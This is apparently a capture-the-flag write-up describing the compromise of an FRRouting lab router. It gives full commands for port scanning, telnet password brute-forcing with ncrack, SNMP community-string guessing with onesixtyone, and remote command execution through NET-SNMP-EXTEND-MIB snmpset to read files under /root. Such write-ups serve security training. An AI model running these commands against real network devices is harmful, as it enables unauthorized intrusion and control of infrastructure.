Operation Takeover

We've gained access to the network devices VLAN. Time to hack into a router. One objective: find the flag in /root/.

Enumeration

Let's get physical.

nmap -sC -sV -Pn -p- -T4 10.144.132.135

I spy messages in that lengthy output discourse. We'll decipher momentarily.

nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.144.132.135 -oN Operation_Takeover_nmap_result.txt

This immediately stood out:

DNSVersionBindReqTCP:
|     Hello, this is FRRouting (version 10.0).
|     Copyright 1996-2005 Kunihiro Ishiguro, et al.
|     User Access Verification

FRRouting v10.0. A quick exploit search pulled 2-3 high-interest CVEs. Tabs left open for later.

Open Port 2623 is calling me. Visited http://TARGETIP:2623:

What immediately gets assessed as garbage output is actually open Telnet IAC negotiation bytes. ÿ equates to 0xFF — the Telnet IAC marker. This is already fun.

Telnet Enumeration

The system was already showing signs of a failure threshold limit. Had to test the Telnet discovery with care and caution. Set up Ncat with Telnet handling:

ncat --telnet 10.144.132.135 2623

To be fair, this is what I expected. Password-only VTY auth confirmed — FRRouting documentation is clear that no username is needed. Critical detail for crafting a successful ncrack command.

Quick sanity checks on the fasttrack wordlist before committing:

First ncrack attempt had a syntax error — the service name needed to be attached to the port:

ncrack -p telnet:2623 --user test -P fasttrack.txt 10.144.132.135

Feels a bit hostile, am I right? Chill, my dude. I'm getting in there with or without you.

Ncrack ran longer than comfortable. Tried a few manual attempts while it ran to eliminate obvious candidates:

I cannot single-password brute force this for very long. Time to think outside the box.

SNMP — The Real Way In

Probed for SNMP on UDP port 161:

nmap -sU -p 161 --script snmp-brute 10.144.132.135

Port 161 open. Pressed further with onesixtyone against a community strings wordlist:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.144.132.135

Bam. Community string: pr1v4t3. SNMP is our hook. Woo!

SNMP Write Access and RCE

Confirmed read access with snmpwalk, then tested write access by renaming the host:

snmpwalk -v2c -c pr1v4t3 10.146.187.52 1.3.6.1.2.1.1.1.0
snmpset -v2c -c pr1v4t3 10.146.187.52 .1.3.6.1.2.1.1.5.0 s "Pwned"

Write access confirmed? More like right access confirmed in my hands. Muahahaha. Just kidding. Onwards.

Extended to RCE via NET-SNMP-EXTEND-MIB:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c pr1v4t3 10.146.187.52 \
  'nsExtendStatus."command"' = createAndGo \
  'nsExtendCommand."command"' = /bin/bash \
  'nsExtendArgs."command"' = '-c "ls /root"'

snmpwalk -v2c -c pr1v4t3 10.146.187.52 .1.3.6.1.4.1.8072.1.3.2

Pwned, indeed. Inching closer. Pulled the trigger:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c pr1v4t3 10.146.187.52 \
  'nsExtendStatus."command"' = createAndGo \
  'nsExtendCommand."command"' = /bin/bash \
  'nsExtendArgs."command"' = '-c "cat /root/flag.txt"'

snmpwalk -v2c -c pr1v4t3 10.146.187.52 .1.3.6.1.4.1.8072.1.3.2

Definitely my solution, not my problem.

*mic drop*

Full Attack Chain

nmap → FRRouting v10.0 on port 2623, SNMP port 161
→ Telnet IAC bytes recognized on port 2623 → VTY password-only auth
→ Brute force not viable → pivot to SNMP
→ onesixtyone → community string: pr1v4t3
→ snmpwalk confirms read access → snmpset confirms write access
→ NET-SNMP-EXTEND-MIB → RCE → cat /root/flag.txt → flag